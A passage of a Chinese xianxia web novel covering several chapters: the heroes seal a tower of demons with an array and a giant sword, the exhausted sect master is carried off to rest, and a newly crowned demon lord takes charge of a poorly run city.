唐山玉在最后一笔阵法画下来后可以感觉到体内的灵力空了一些,他长呼一口气,揉了揉酸痛的手臂,看着已成的阵法,接下来只需要找顾延清就好了。 其实这三个问题的答案是不固定的,可在反复叩问自己后,自己心里的答案才能越来越明确,心里的道路才愈发地鲜明。 “…真的是,一直把自己幻想成拯救世界的主角想爽了是吧?真当自己无所不能了?什么都能救了?”唐山玉突然开口说了那么一句话,没头没尾,这里只有他一个人,那么这番话是说给谁听的呢。 “……” “唉,行吧,那就爽一下吧,因为那真的很帅。” …… 回到现在,在得到顾延清那一句稍等的回复后唐山玉也转身投入到绘制净魔法的咒文来,许一笑正在专心致志地吸收着力量,自然没有留意到唐山玉悄声无息地回来了。 唐山玉盘腿在阵法中心坐下,他还不是主角,做不到拯救全世界,但是现在的他可以拯救眼前这个人,这个心里头和他一样或许有过热血主角梦的家伙。 掐诀念咒,灵力注入,少年闭目坐于阵中,四周闪烁着灵力的光芒,灵力涌起的气流扬起他的长发。 下一瞬,少年睁开眼,无数的咒文随着阵法亮起而飘浮于空中。 此刻,阵起,灵燃。 在外头的几人自然感觉到唐山玉那头阵法的启动,四周依旧有魔物乱爬,分别由张欣雅等武力值高的护阵,还有以极快的速度画下净魔法咒文的李行川等智力值高的输送咒文。 旁人看到这一幕只觉有些古怪,但是因为他们都穿着随清宗的衣服,所以在打魔物的时候他们本能地把魔物带到另一边打去。 有时候名声好就是那么重要。 顾延清也在这个时候回到了外边,他手上拿着那把晏明心留下来的剑,而付尘在外边帮忙出力,看到这一幕着急地过来问道:“尊者,如何?” 顾延清把剑上仅剩的咒文展现给付尘看,只一眼付尘便明白了什么,他难免有些失望,不过很快调整好了心态:“多谢尊者了,接下来交给我们吧?” “嗯?你们好像处理好了不少事情……”顾延清抬头看了那边被锁链五花大绑几个穿着断恶庭衣服的家伙。 “这个啊,悦曦这孩子非常有干劲,她用我的锁链已经按倒不少其中作乱的罪人。”付尘没有特地解释悦曦是谁,而是继续给顾延说明现在的情况:“我们一致认为先把它们都封印起来再组织各个门派的高层帮忙镇压比较好。” 正好也能让那些宗门派人进来,这样断恶庭的内部独大体系也会随之瓦解。 “我来。”顾延清那双平静的眸子扫过来,淡淡地说着。 “当然当然,自然是您们随清宗话语权……”付尘以为顾延清在和他说事后的断恶庭重建事宜呢,当即表示好处大大的有。 “我是说镇压我来,你们只需要待会拦住魔物出来就好了。”顾延清淡淡地少言寡语,此刻他正双手握着那把剑,缓缓闭上眼睛。 “…尊者我自然相信你们的实力,可现在魔物已经出来了……”话音刚落下,付尘一顿,随后他猛地回头,无比惊讶地发现那些魔物居然有退回去的迹象。 “一柱香。” 顾延清淡淡地道,他没有睁开眼,而是专心致志地将身上的所有灵力往剑上的那道咒文传输过去。 在外人看来,一道咒文或许不足以镇压群魔。 但是…… 在顾延清看来,或许一道咒文也足矣。 与此同时,许一笑因为要操控那些魔物,魂体被浓重煞气所伤,手里的小花因被吸收完力量而枯萎在了手心。 四周的锁链因为突如其来的煞气正一一断裂,脸上的金咒也因此开始若隐若现,这些金咒除了困住他外,其实还有让他维持清醒的功能。 现如今它们正一一断裂,这代表着自己的理智会随着它们的断裂而慢慢溃散。 在最后,自己会变成和它们一样的东西。 到那个时候,那个审判官就不用再计较要不要杀了他了吧。 许一笑想了想,觉得自己真是做了一件好事,他嘴角微微上扬了一下,很快,又下去了,因为他发现还有一股力量正在保护住他的神识。 这里明明只有他一个,怎么还会存在另一股力量? 许一笑愕然看去,发现那原路返回的唐山玉正撑着一个小小的法阵,阵法的光亮在四周的煞气里显得格外明显。 “……你。”许一笑动了动嘴唇想要说什么。 “别你了,专心点吧,不然你控制的魔物就要逃了。”唐山玉此时此刻额上布满细汗,他得空瞥了这边一眼。 ……其实已经跑了。 许一笑连忙又专心致志地控制起来,就在他以为还要费心费神把那魔物往回赶的时候,他发现那魔物好像发现了什么更为恐怖的东西那样呜呜叫地往回跑了。 在魔物那模糊视野里,许一笑通过感应可以察觉到那里有好几个守在门口的鬼魂,他们手上拿着武器,衣摆飘飘,正凶神恶煞地表示着……此路不通。 其中,一位扛着长枪少年朝着他这个方向笑了一下,笑容灿烂好似烈阳,就连那阴冷的鬼面也因此变得鲜活了不少。 这个人,许一笑不认识。 对方应当也不认识他才是。 可莫名的,他想起了一句话: 吾道不孤。 在外边,肉眼可见的,那些魔物一个劲地往塔内跑,那状况堪称一种奇观,铺天盖地的魔气迅速地塔内席卷过去,也不知是不是煞气太多了,导致有些魔物当场吃了同类完成了超进化,然后就有些不服气地想要往外钻。 “拦住它们,不能让它们出去!”付尘很快反应了过来,他连忙大声喝道。 众人齐齐从方才让人震撼的场景里惊醒了过来,他们连忙抄起手里的武器恶狠狠地朝着那要出来的魔物身上打去。 “进去!进去!谁让你擅自出来了!” “刚刚就是你咬我屁股一大口是吧?哈!吃我一招大嘴巴子!!” “这个魔物怎么有口臭啊啊!师兄~我要和你换!!” 付尘帮忙的时候抽空回头看了一眼顾延清,只见人依旧闭着眼,可他手里的那把剑不知怎的气息愈发地强悍。 …… “为什么你们不封印它们,你们还在等什么,我真要撑不住了!”许一笑不懂,但是许一笑难得崩溃了一下。 “你问顾延清,问我做什么!哎哎哎!你稳住,不要乱动。”唐山玉差点就没稳住,他和许一笑一样动不了,只能在原地大喊大叫。 “……要多久?” “他说一柱香。” “过了一柱香了吗?” “我没算时间。” 一个问一个答,在这种四周魔物乱叫,煞气暴乱的情况下,他们俩看上去还挺岁月静好。 …… “我灵力要没有了。”在最后,唐山玉露出一抹苦笑,他感觉到再掏下去,自己绝对会晕在这里的。 “……”许一笑没回话,毕竟许一笑要做的事情比唐山玉要难得多,现在他连话都回不了了。 唐山玉没有听到回应,他垂下头,看着自己手掌上的血,一滴两滴的,晕开,像朵花似的,唐山玉知道这是他灵力过度缺失引起的症状。 他的确不会遭受外界的伤害,但他自己的身体会先受不住灵力的流失而崩溃。 其实唐山玉说谎了,他的灵力早就空了,现在全靠丹田自我保护灵力还有阵法输送带灵力强撑着而已。 说谎有益于让自己好像信了那般还能继续下去。 “顾延清啊顾延清,还没好吗?我要晕过去了。”唐山玉哈哈笑了一声,他笑什么呢,笑自己蠢还是笑旁的什么,突地,他感觉到整座塔在抖动,四周的魔物好像受惊的那般伏地不起。 抬起头。 上方好像有什么巨物决然往下砸来。 外头,顾延清将浑身上下都灵力都汇聚于剑上的咒文上,与此同时,他还将这把剑灵力化形,一把巨大的剑就那么浮现于空中,飘于断恶庭的上方。 而这把剑是有名字的。 剑身上那早已因主人离开而隐去的名字因为再次想起自己的使命再度浮现出来。 此剑名为—— 随着顾延清抬手往下一压,巨剑轰然而落,其伴来的风呼啸闯入他人的耳间,众人屏住呼吸看着这一幕,那把巨剑直直地立在了断恶庭上,而刹那间,那被激发咒文中的灵力如同涌泉尽泄而出。 被其灵力扫过的魔无法抵抗地呜咽地发出最后一声叫唤,它们低下头颅,以示臣服,尽管身上的锁链因为撑不住煞气而尽数断裂,可那沉重的巨剑身上散发的气息足以让它们畏惧得无法动弹。 渡天下。 …… 与此同时,在塔底的唐山玉也在那一瞬间得以喘息,他直接无力地躺在地上,闭着眼感受着这片刻的安宁。 而随着四周煞气的尽溃,他的耳边好像传来了几声朗笑。 接着,好像是风过来了,它轻轻地摸了摸唐山玉的脑袋,轻柔的,像在认同什么。 不过,风有点多,唐山玉感觉自己的头发被这些风们给弄得乱七八糟的了。 真的是,这些风是不是故意的。 好不容易,唐山玉有力气睁开眼了,他只看到许一笑,这个前辈看到他醒过来后哈哈笑了一声。 接着,许一笑伸手也摸了摸唐山玉的脑袋,他哼着一首不知名的歌,这歌声肆意张扬,唐山玉觉得很好听。 …… “我们走了。” “好。” 第277章 断恶庭事已了 等一切结束后,善后的工作自然由随清宗主导,其他门派打下手,因为顾延清出了主力,因此随清宗的名声也更上一台阶。 而付尘也在后边将断恶庭里的恶虫给抓了出来,其中就有几位高位的长老,他们试图反抗,但是那位一直沉默的庭主难得出手镇压住了他们。 那枯老的手缓缓抬起,去触碰空中属于这柄渡天下所产生的纯粹灵力,灵力在指尖碎开,散于空中。 因为魔物个个听话,出去也没有煞气阻挡,所以唐山玉用仅剩的灵力画了个传送法阵出去了,刚一出去,就看到了伙伴们那担忧无比的眼睛。 “山玉哥哥!太好了呜呜呜!你没事!”江玉瑶率先蹦出来,然后直接呜哇的一声抱住了唐山玉,她一边抱一边哭,这些天她特别特别担心,真的要担心坏了。 但是她一直忍住没有哭。 “好了好了,我这不是好端端的嘛?”唐山玉抬起手摸了摸江玉瑶的脑袋,随后他抬起头,看到站在旁边满脸激动叶玄洲和方安城。 方安城跟着凑过来,唐山玉也就伸出手按住脑袋摸了摸,他那紧绷的高冷面容顿时破碎,并且低下头也抱住唐山玉,无声地流着阴暗的眼泪。 “你要不要也来?”唐山玉这下子是无比自信地举起手了,而也如他所想的那般,叶玄洲终于不矜持,走上来也抱住了他。 这让他想起当初和他们第一次组队遇到那朵凝冰花被抱的情况,不过现在没有冰冷的寒气,有的全是真心实意的温暖。 李行川等人站在旁边,看到这一幕不由自主地笑了一下,其中张欣雅吐槽了那么一句:“这几个人都那么大了还要抱抱,幼稚。” “别这么说,欣雅要不要也和我抱抱?”李行川说着就无比宽容地张开双臂。 “不要。”张欣雅立马拒绝了,并且有点傲娇地抱臂不看他。 陈严在旁边跟着点头附和道:“真男人,就应该用拳头述说情感!!” 而梅元宝看到队长的怀抱,满脸激动地紧绷住浑身都肌肉,然后伸出强而有力的手臂狠狠地给李行川一个爱的抱抱。 李行川差点当场吐魂飞天。 总之,唐山玉在享受完队友那爱的抱抱后就想起什么,和他们一一说一声后就准备去找顾延清:“我去见顾师伯,过会再细聊。” “好~”江玉瑶拿着帕子吸着鼻子,眼泪汪汪地看着唐山玉离开。 在唐山玉离开后,江玉瑶眼里的感动一收,眼泪还挂着,但神情已经冷漠无比,只见她转头看向四周的修士们,手里的帕子一个用力就碎了:“山玉哥哥平反计划也该好好实施了。” “我赞成,就算中途因为突发事件搁置了,不过现在的情况大家也更容易相信呢。”叶玄洲拿出他那自信又风流倜傥的扇子给自己扇了个风。 “这个断恶庭该彻底完蛋了。”方安城压低一下兜帽,眼神阴沉地扫过那些人。 “稍安勿躁,稍安勿躁。”李行川稍微劝说了一下,然后就笑眯眯地说:“我觉得现在大家过于分散了,要一个一个去说太麻烦了,我们干脆先把人都聚一起吧。” 张欣雅,陈严还有梅元宝三人听到这话后就纷纷拿长枪的拿长枪,揉手腕的揉手腕,试拳套的试拳套,他们异口同声地问道:“不听话的就压过来?” “是劝。”李行川喜欢文雅一点的说法,因为他是个文明人。 …… 并不知道小伙伴们还打算干大事的唐山玉正在前往去找顾延清的道路,因为大家都非常疲惫,所以暂时没有人留意到他这个罪人自由活动的情况。 不过就算注意到估计也不会怎么理会,方才顾延清可是狠狠地一剑镇压了群魔,其威慑力还在,犯不着现在发难。 很快,唐山玉就找到了顾延清的身影,此时此刻顾延清正笔直地站着,而宋鸠和梁均俩人站在他的后边,在面前有几个应该是其他门派长老的家伙正在和他们交谈。 不过唐山玉总觉得不是很对劲,因为宋鸠的脸上出现了一丝为难的神情,旁边的梁均倒是无所谓地拿着笔记录着什么,瞧他那个飞速下笔的模样估计在记账吧。 顾延清依旧是一脸冷漠的,他好像在认真听那些长老们的谈话,可唐山玉就是觉得不对劲,可是他对顾延清了解得没有他师门和谢璟全面。 光凭一张面无表情的脸真的看不出什么啊。 唐山玉认为自己没有读心术。 宋鸠似乎察觉到了唐山玉观察的目光,他连忙用眼神求助唐山玉,那恳切的目光唐山玉实在是无法忽视。 唐山玉:…… 如果,他没有猜错的。 现在的顾延清的面无表情不会是在硬撑吧? …… 是的,唐山玉猜对了。 顾延清用完了全部灵力现在身体非常虚弱,本来应该休息的,宋鸠也这样劝了,可后边过来的长老简直是没完没了,而顾延清又习惯硬撑了,所以就那么站在这里面无表情地听人讲话了。 梁均倒是没什么意见,但是他担忧顾延清状态不好要是被人发现的话,那么随清宗的不败战神的名号会自此贬值。 到时候,他忽悠其他宗门的时候可能会缺些底气,但是也不是很重要,只是少赚一点而已,真的真的不是很重要。 “…你看,尊者,这样分配如何?”眼前的长老说完话后用期待的眼神看着顾延清,这是顾延清无比熟悉的眼神,他嘴唇微动想要说点什么。 可是……方才这个长老都说了什么来着? 顾延清发现自己的状态原来已经差到这种地步了,可他现在必须要回答对方,他张了张嘴,在眼前长老那期待的目光下……被一个路过的正义侠客劫走了。 顾延清:? “啊!顾…顾尊者?!”长老们发出一阵惊呼,这是哪里来的小子,为何他们丝毫没有察觉到。 一直黑石屏蔽气息一直爽的唐山玉扛起了顾延清,也扛起了整个随清宗的未来,他冲那边的宋鸠比了个大拇指,宋鸠也对其给予大拇指的认可。 “这是什么…情况?”长老们有人想要追上去,但是被梁均给拦了下来。 “好了,具体事情我已经明白了,接下来我们来谈一下分配问题吧?”梁均本子一合,他此时笑得极为温柔:“我认为……你们要得有点多。” “梁均,你此话又是何意?”对梁均这长老可没有对顾延清的尊敬,他看上去颇为不满。 “哈哈……这就生气了,那也太早了吧?”梁均又是一笑,他拿出了自己那惯用的算盘,敲了几个数后就举起来给他们看,那一刻,阴险狡诈的面孔就这样出现在他的脸上:“那我让你们拿这个数,你们岂不是气到要死?” “你…!你!!岂有此理!岂有此理!” 宋鸠围观了一切,也就只有这种时候,他才会觉得这个克扣他种植药草的家伙难得顺眼了起来。 接下来不是他的领域,他只需要安静地看着就好了……大师兄方才的情况不是很好,回去得准备点药草了。 与此同时,被人惦记着的顾延清被唐山玉扛了一会儿后就想要挣扎下来,唐山玉察觉到这一点,笑着说:“顾师伯,你现在连我都反抗不了,还是歇了这点心思吧。” “我得回去。”顾延清有气无力地开口道。 “不行。”唐山玉果断拒绝了,拒绝后他难得爽到了,这就是拒绝软弱无力的顾延清的感觉吗?爽到了。 “……”顾延清没说话。 “哎呀,你也该歇歇了,我不是说过了吗?你的身后并非空无一人。”唐山玉见人不说话,于是就自顾自开口了:“你呀你,我之前就听师父说过了,你做起事来太拼命了,这点可不好……” “不过我之前也这样,所以我理解你这样……”唐山玉想起自己曾经的社畜过往,不由得抹了一把辛酸泪:“正因为理解,才觉得你得找个时间好好歇一下。” “……”顾延清张了张嘴,发出了一个模糊的音节。 “怎么?你也觉得你得好好休息一下对吗?”唐山玉察觉到这个动静后有些惊喜地看了过去。 “…我…要……晕了。”顾延清坚持把话说完后,就彻彻底底身子一软,那一刻,重量袭来,唐山玉一个没撑住,就这样扛着人单膝跪在了地。 此刻,空中飘来了乌鸦吃省略号。 “……………”唐山玉半跪在地上一脸惊恐,原来之前顾延清甚至为了他还特地调节一下重量吗?那很好人了,再加上他目前也挺虚的,所以没撑住也是情有可原…… 不愧是剑道第一人,这结实的肌肉的确很有份量。 …… 可恶,他不想承认自己虚成这样啊。 唐山玉维持着这个姿势在无声地哭泣着,为自己那刚才好像逝去的尊严,还有那颤抖的双腿。 …起,起不来了。 刚才劫持顾延清已经用完所有的力气了。 来人,来人救一下。 第278章 三日后 “明心,明心。”一道清澈无比的声音在不远处响起。 好像有人在喊她。 “怎么又在这里睡着了?”少年的话温柔无比,好似躲在了落尽繁花院子里头,任凭那场暖阳,零碎地钻入窗边弄了个响。 “…长鸣。”少女迷迷糊糊睁开眼,指尖触及的碎阳下面是一本才翻阅几页的书,她坐了起来,看向外头,隔着雕花窗格,在那里,有人在等她。 “快起来啦,再睡的话,就要赶不上了。”那人又在那里喊着,一如既往地走在前面。 晏明心揉了揉眼睛,直坐起身,她有那么片刻被阳光给迷了眼,与此同时,她桌上放了把剑,那剑鞘上刻着渡天下,随后带着茧子的手将其拿起,然后走出门。 “来啦。”少女那么回应着,走进了这场春风里。 可在后来,剑上染了血,烈火在四周弥漫,少女的声音嘶哑无比,就连哭声都被迫止住,举起剑,朝着对面的敌人,他是昔日的友人,同时也是少女心中带着细小憧憬的对象。 因为战争还未结束,所以这份感情一直藏在少女的心里,只待来日,等春暖花开之际,天下太平之时,再述说与他听。 胸膛被长枪贯穿,心脏也越发地生疼,长剑刺穿了对方喉咙,在那人低低的最后一瞬呼吸后,她知道,他们已没有了未来。 最后,双双倒于战火里,任由那不甘还有恐惧蔓延却无济于事,在离开的时候,少女在想啊,如果早知有那么一天,她应该早点说,选一个极好的日子,让其染上温暖的光。 而这,是顾延清使用那把剑所看到的景象,其主人的不甘与绝望笼罩在他的心头,不知为何,顾延清好像在俩人身上看到了什么。 四周的场景依旧变化着,最后,变回了他自己的,人生漫长,而他所拥有之物很多很多,亲人,友人,甚至是忠心耿耿的下属和弟子们。 顾延清看着眼前这些一个个走到他面前的身影,温柔的,模糊的,忠诚的……可是在这些人里他都没有看到谢璟。 在哪里呢? 顾延清回过头,看向身后,然后他看到谢璟背对着他正往远处走去,出于本能,顾延清过去拉住了他,他听到自己的声音有着轻微急促:“你要去哪?” 那少年难得没有第一时间转头看他,而是依旧看着那远处:“师父。” “我在。”顾延清回应他。 “……师父。”谢璟转过头来,那遍布全身的魔纹还有那闪着赤红的眸子是如此的刺眼,还有那流下的血泪:“师父啊……你为什么要丢下我?” “你为什么不选择我?你为什么抛弃我?” 一字一句的质问染了血,那怨恨的眼神正如顾延清所想的那样让人痛心。 “抱歉……”顾延清刚想说什么,突地他就看到谢璟捂住自己的胸口,在那里,一个黑洞正不断地扩大,里头的血不断地涌出来,好似流不尽。 “…阿璟?阿璟?”顾延清连忙抱住人,伸手捂住他的胸口想要止住这些血,可这血压根止不住,不一会儿,这地面就变成了红色,就连顾延清的衣服也随之被染红。 “师父。”谢璟的嘴角勾起一抹讥笑,他的半边皮肉开始溃烂,露出里面的森森白骨,那化作白骨的手则轻轻抚着顾延清的脸上:“为何……你要抛弃我?” “我变得如此模样,都是因为你……顾延清……”谢璟笑得极为温柔地捧起顾延清的脸,轻轻用额头抵在顾延清的额头上,这般近的距离好让顾延清将人神情的里的绝望看得一清二楚。 “都是因为你。” “顾延清。” 说完这话,这烂透了的躯体似乎再也撑不住了,化作腐烂的肉与骨,落在了顾延清的怀里,而顾延清像是有些呆愣,他动了动唇…… 突地,顾延清睁开眼,任由背后被冷汗密布,他坐起身子,平缓着呼吸,后发觉那帘子后边好似有一道模糊的人影。 “……阿璟?” “很遗憾,你的阿璟不在这里。”一只手撩起那床帘,入目是唐山玉那张清秀的脸,他笑吟吟地看着顾延清,逗趣道:“怎么?见到我,很失望?” “是山玉的不是,没阿璟哥哥那般贴心且讨人欢喜。”说着,唐山玉直接在床沿坐下,原来他手上还拿着个药碗,里头装着漆黑的药液:“来,宗主,该喝药了~” 顾延清总觉得这一幕好像似曾相识,曾经他喝药的时候秦兰时也特地用这种语调端着药碗道:“大师兄~该喝药了~” 不过,秦兰时的语调比唐山玉更加妖娆点。 顾延清沉默了一下,然后接过那药碗一饮而尽,随后问道:“我躺了多久。” “不久,就三天。”唐山玉笑得特别爽朗。 “……什么?”顾延清一顿,然后缓缓抬头。 “宗主,你不在的时候,宗门事务是由师姑师叔们处理的哦!”唐山玉说起这个事儿想起那几人坐在宗主位置上,一边处理事务一边头大的模样,其中的宋鸠提出要他帮忙的意愿。 唐山玉能怎么办。 当然是以自己还没痊愈的借口拒绝了。 笑话,这等牛马爱谁谁去。 唐山玉为了更加真实,甚至还提出照顾顾延清,于是这三天时不时来顾延清房间里坐一下,顺便带点东西来吃香的喝辣的,当然说照顾也是有在照顾的,刚才的药就是他照顾的证明啊。 “我得去看看。”顾延清说着就要起身下床,但是还没动几下,就被唐山玉给按了回去。 “不,宗主。”唐山玉语重心长地说:“宋师叔说了你得了一种工作就会死的病,所以你还没有痊愈,你得再等等。” 顾延清:…… “据我所知,世上并没有这样的病。”顾延清叹了口气,然后说:“那我在床上处理总可以吧?” 唐山玉露出了一种看神人的表情,这表情来得也快去得也快,紧接着他笑了一声,拿出一个不知道哪里来的娃娃直接塞在顾延清的手里:“你就拿着这个好好休息一阵吧。” 顾延清低头一看,这个娃娃眼睛和嘴巴是歪的,头发和眼睛的颜色倒是有点像谢璟,衣服也有点像,可其他地方完全不像。 “……这是什么?”顾延清心里头已经有些许怀疑,但还是问出了声。 “谢璟啊,我做得像吧。”唐山玉自信满满地说着:“我这手艺是和谢璟学的,怎么样 ?有没有学到他几分精髓?” “…丑。”顾延清捏了捏那个小娃娃。 唐山玉:……? 这人怎么说起了大实话?太过分了!不应该宠着他说这个很好看吗? “顾师伯,你变了。”从宗主变成顾师伯,其中的过程可谓是让人忍不住想要流泪。 “如果你让我出去,这个就很好看。”顾延清也是会讨价还价了。 “……”唐山玉闻言一愣,随后他笑道:“那就丑着吧,反正这个丑的又不是我,是谢璟!!” 顾延清:…… 惜败。 “还是很好看的。”话语一转,然后顾延清将娃娃放在床上,既然不能出去,那就问事情好了,“这三日都发生了什么?” “断恶庭没了,以随清宗为主的各个门派逐渐接手断恶庭,我的名声在努力的宣传下也获得了良好的反映,我之前录好的东西也派上了用场,再加上断恶庭那岌岌可危的信用,所以一切都那么顺理成章。” “胜利者可书写历史,正如此时。”唐山玉摆了摆手,一副无所谓的模样:“然后呢……关于魔界也有点消息了,听说秦兰时成功获得了魔主之位,成为七魔主。” “……” “干嘛沉默?你不应该夸夸他吗?”唐山玉挑了挑眉,继续笑嘻嘻地道:“夸啊,多厉害呀。” 就是因为你笑嘻嘻的样子,他才不敢夸啊。 远方的魔界,秦兰时打了个大大的喷嚏,然后他搓了搓手臂,自信地说道:“肯定是山玉在想我了。” 自从他得知断恶庭那边的情况后,他整个人就放松了不少,并且开始美满地幻想起当魔主装逼的未来。 至于如何当上的……这个暂且不说,因为秦兰时现在准备去继承前六魔主任行舟留下的遗产的路上,而他坐的是尹离郁的见面礼,魔兽飞行车。 这车可酷炫了呢,用被驯服的魔兽拉的车,一路上可是一点都不稳,除了威风外一点用处都没有。 与此同时,他带着的那四只小的正瞪大眼睛特别好奇地看着脚下的魔域,他们伸出手,去接住这急急而来的风。 ……… …… … “魔主大人,小的已恭候多时了。” 一入城,就有魔族勤勤恳恳地走出来,迎接新魔主的到来。 第279章 跟了我 魔域,晴,但没有太阳。 小心谨慎的赵老六听说要来一个新魔主的时候可谓是提着一口气,不为别的,因为任魔主是他见过脾气算好的魔主了。 现在这新来的魔主也不知性格怎么办。 一想到这里赵老六就紧张得不知道要怎么好,于是他自然去细细打听了一番,这新上任的七魔主似乎被那正道追杀了一路,可谓是实力强悍。 据说这新七魔主惯使剑,在未成魔主之前便是剑道大能。 赵老六又紧张了。 听说剑修最喜欢打打杀杀了,不会一见面就把他给打了吧。 那么一想,赵老六决定见面之前先去上个茅房缓解一下紧张。 很快,他就接待到了那传闻中的七魔主,这七魔主的坐骑是两头威风凛凛的魔物,正斯哈地滴着口水,那凶煞的双目死死地瞪着他。 “…魔主大人……”赵老六又是咽口水,然后就恭恭敬敬地上前一步:“小的已经恭候多时了。” 那车子里头没有动静,要不是赵老六可以感知到里头的威压不然都以为车子里已经是空空如也。 先回应他的是一个小孩的脑袋,那小孩啊了一声,然后说:“秦叔,他是来接我们的。” 秦叔还在不留痕迹地揉那酸痛的屁股,这一路下来自己的屁股可没少被折腾,下次绝对绝对不坐这个车子来了,再威风凛凛都不坐。 “嗯,知道了。”秦兰时默不作声地揉完屁股后就矜持地点了点头,然后优雅地从车上下来了,一下去他就看到一个面相老实的男人在等着他。 “大人……”那赵老六无比期待地看了过来,等候秦兰时的认可:“您的住处我已让人收拾好了。” “哦?带路。”秦兰时再次矜持地点了点头,在他身后四个小的跟在后头,一边跟着一边发出赞叹的声音。 赵老六看了一眼,什么也没说,就算这大人带了几百个小孩过来他也不会过问一句的,反正在魔域里头,强者为王,做什么都理所应当。 总之,赵老六勤勤恳恳地带路了,秦兰时也就慢悠悠地跟上,一边跟着一边打量着这座城里的情况。 突地,爆炸声在城里响起,刚刚荣升为魔主的秦兰时本能地看了过去,这一看他就看到了那边的魔族在互相打架,所过之处片甲不留。 要知道现在是秦兰时接任了这座城,换而言之,这座城就是他的所有物。 秦兰时好不容易富有了一下,却不曾想有人居然敢对他的所有物动手动脚。 “…大人?”赵老六意识到了不对劲,停顿了一下,转头看去:“怎么了?” “他们为何在打架?”秦兰时收回视线,阴冷地笑了一下:“没人拦着么?” “啊?这个……”赵老六不明所以,但是还是接下这话头:“一直都这样啊,在魔域里头,没有魔主管辖的地方很容易被当地的魔族领头占地为王……” “当然,就算魔主上任也是如此,因为就算您是通过魔主大比当上的魔主,但想要坐这个位置的魔很多,您估计会和前任魔主一样收到很多的挑战。” “……他们天天那么闲只会打架吗?”秦兰时总觉得无比头疼,这座城到底是怎么运行的,商贩呢?军队呢?建筑呢?法律呢?等等城市该有的东西好像都没有的那样。 “这里的魔族不会是都把自己当宾馆了吧?”所以才那么肆意妄为地搞破坏:“损坏的房子由谁负责的?” “大人,是我。”那赵老六开口道:“放心吧大人,我们不用质量那么好的石头,这样损失就不会很大,再者尹魔主会经常提供资金来源,所以我们这城中经济还算过得去。” “……”问题很大啊,经济被其他魔主掌握在手里,那么这个城还能好吗?天杀的,任行舟你到底都干了什么。 这样一想,他也就问出口了:“前任魔主有什么政策?” “没有啊……哦,对,他除了让人不许随意对弱者动手动脚外就没有其他法律了。”赵老六仔细一想,这前魔主也没管什么事,反正他意不在此:“并且还说不能三心二意,要是让他看到了就一拳打进土里。” “……”很好,至少弱小群体的生活还得到了保障,任行舟也就这点用了……秦兰时不死心地继续问道:“其他就没有了吗?” “没了,魔主大人。” 心是一瞬间就死了的。 秦兰时觉得那几个魔族之所以答应他的魔主要求,估计也是觉得前魔主任行舟留下的摊子没有人愿意接手的缘故吗? 用尹离郁提醒的话是:“他满脑子只有自己的媳妇和女儿,对管理自己领地的事情一窍不通。” 好啊好,所以压根就不用计较他是不是心诚,因为这几个魔想把他当牛马用,愿意管皆大欢喜,不愿意管那就那样呗,反正也能体现出魔族能够接纳被追杀的正道大能的宽容,真是一举两得啊。 算盘珠子打得真响。 “这个城叫什么名字?”秦兰时暂且把这件事抛到脑后,反正现在他估计要在这里定居一会儿了,为了他的好生活,他决定收拾一下这里。 “回大人,之前叫做念心城,是前魔主为了纪念爱人所起的。”赵老六恭恭敬敬地答道。 好一个恋爱脑。 秦兰时想了又想,觉得这个城名好像也不用特别改,因为他也挺想山玉的,于是他抬手挥了挥道:“行,那就这个吧,不改了,刚好我也有爱人要念。” 赵老六一顿,显然没有想到新过来的魔主也是个恋爱脑。 “那大人,小的带您继续往住处去吧?”赵老六决定了,他要用对待任行舟魔主的招数对待秦兰时:“可需要我们为您的夫人雕像立于宫殿里?” 秦兰时:? 任行舟你……? 秦兰时想了想自己一起床出门就看到唐山玉的雕像,顿时整个人抖了抖好几下,他要是敢这样弄,估计脸皮薄的唐山玉事后会找他算账。 所以秦兰时摇了摇头,说:“不用。” 赵老六松口气,可以不用花钱了。 “雕我的。”这个魔主原来最爱的是自己的脸。 赵老六沉默了一下,然后就应了下来。 然后秦兰时就让人去安排那四个小的房间,打算培养一下让他们成为自己在魔域的自己人,这种东西果然还是自己养成比较容易信任些。 然后他就去自己的宫殿看了一眼,魔族的品味秦兰时实在是不好认同,于是他决定为了自己住得舒心,亲自画了个宫殿图准备让工匠好好干活。 赵老六接过图纸看了一眼,支支吾吾地看着秦兰时,似乎有话要说。 “怎么了?图纸上的东西做不出来?”秦兰时想到自己都当魔主了,怎么能这样委屈自己,于是不由得眯起眼,准备狠狠地瞪着这个赵老六。 “能是能……只是最近囊中羞涩……”赵老六支支吾吾出来了,然后他默默低下头:“因为魔族最近因为打架摧毁的建筑有点多,又不能放着不管…所以……” 所以他变成魔主还是穷鬼是吗? 任行舟,你就不能当魔主的时候努力点留下大大的遗产给他继承吗? 秦兰时笑得想要拔剑出门去把那些破坏建筑的魔族给砍了,这种日日夜夜的吞金兽不要也罢。 “大人?大人您要去哪?”赵老六见人提剑就走,当即就吓了一跳:“大人您不能也打架,这样被摧毁的建筑会更多,我们的资金也就更少了。” 秦兰时往外走的步子一顿,倒不是因为资金问题,而是他感受到一个熟悉的气息正朝这边过来。 只见一个人朝着这边飞了过来,直直地飞到秦兰时身后的建筑里头,并且脑袋狠狠地扎在墙里。 当然,这不是重点。 秦兰时看着眼前不知道为什么过来的谢璟,眼里逐渐有一丝困惑,难不成这人没有失忆,所以特地过来找他的? 可是,那也太快了吧?这也太明显,那几个魔族就不会怀疑什么吗? 秦兰时觉得谢璟也太不谨慎了。 此时,谢璟换了一件守男德一点的内里紧身高领衣服,而那外袍正懒惰地往下滑去,露出半大个肩头,熟悉的红绳绕在手腕,但秦兰时记得这红绳应该是断过的。 总之,他迈着大长腿走了过来,顺手间挥去了剑上的血。 “…你……”秦兰时刚想开口说点什么,眼前的谢璟就先他一步开口了。 “听说你是新上任的魔主,和那几个魔主一点关系都没有?”谢璟瞥了秦兰时一眼,语气如常地问道。 “…对。”秦兰时点了点头,这是实话。 而眼前的谢璟听到他这个回答后又是一笑:“不错,我很满意。” “……?”你满意了什么。 “进来说。”谢璟反客为主,坦然走进秦兰时的宫殿,甚至直接坐在主位那里,翘起了二郎腿,顺便冷冷扫了那边的赵老六一眼:“让他出去,然后施展隔绝法术。” 秦兰时看着这个霸道的谢璟,只觉得太阳穴直跳,但是他忍了,他倒要看看这个谢璟要做什么。 于是他真的依言让赵老六出去,并且施展了隔绝法术。 “你要和我说什么?”秦兰时看了看自己的主位,又看一眼,恨得牙痒痒的,他还没坐过呢,就被谢璟这厮给坐上了。 “我就直说了,你要不要跟了我。” 秦兰时:……?? 谢璟无比平静地摊开手,对秦兰时发出邀请:“你也看出来了吧,虽说我贵为魔尊,但是这魔域可不是我的。” “而是除了你之外的六位魔主,还有那不知名的家伙的。”谢璟说完,啧了一声,看上去很是不满:“我不过是个顶着魔尊名头的无权无势的宠物。” “这一点让我很不满。” 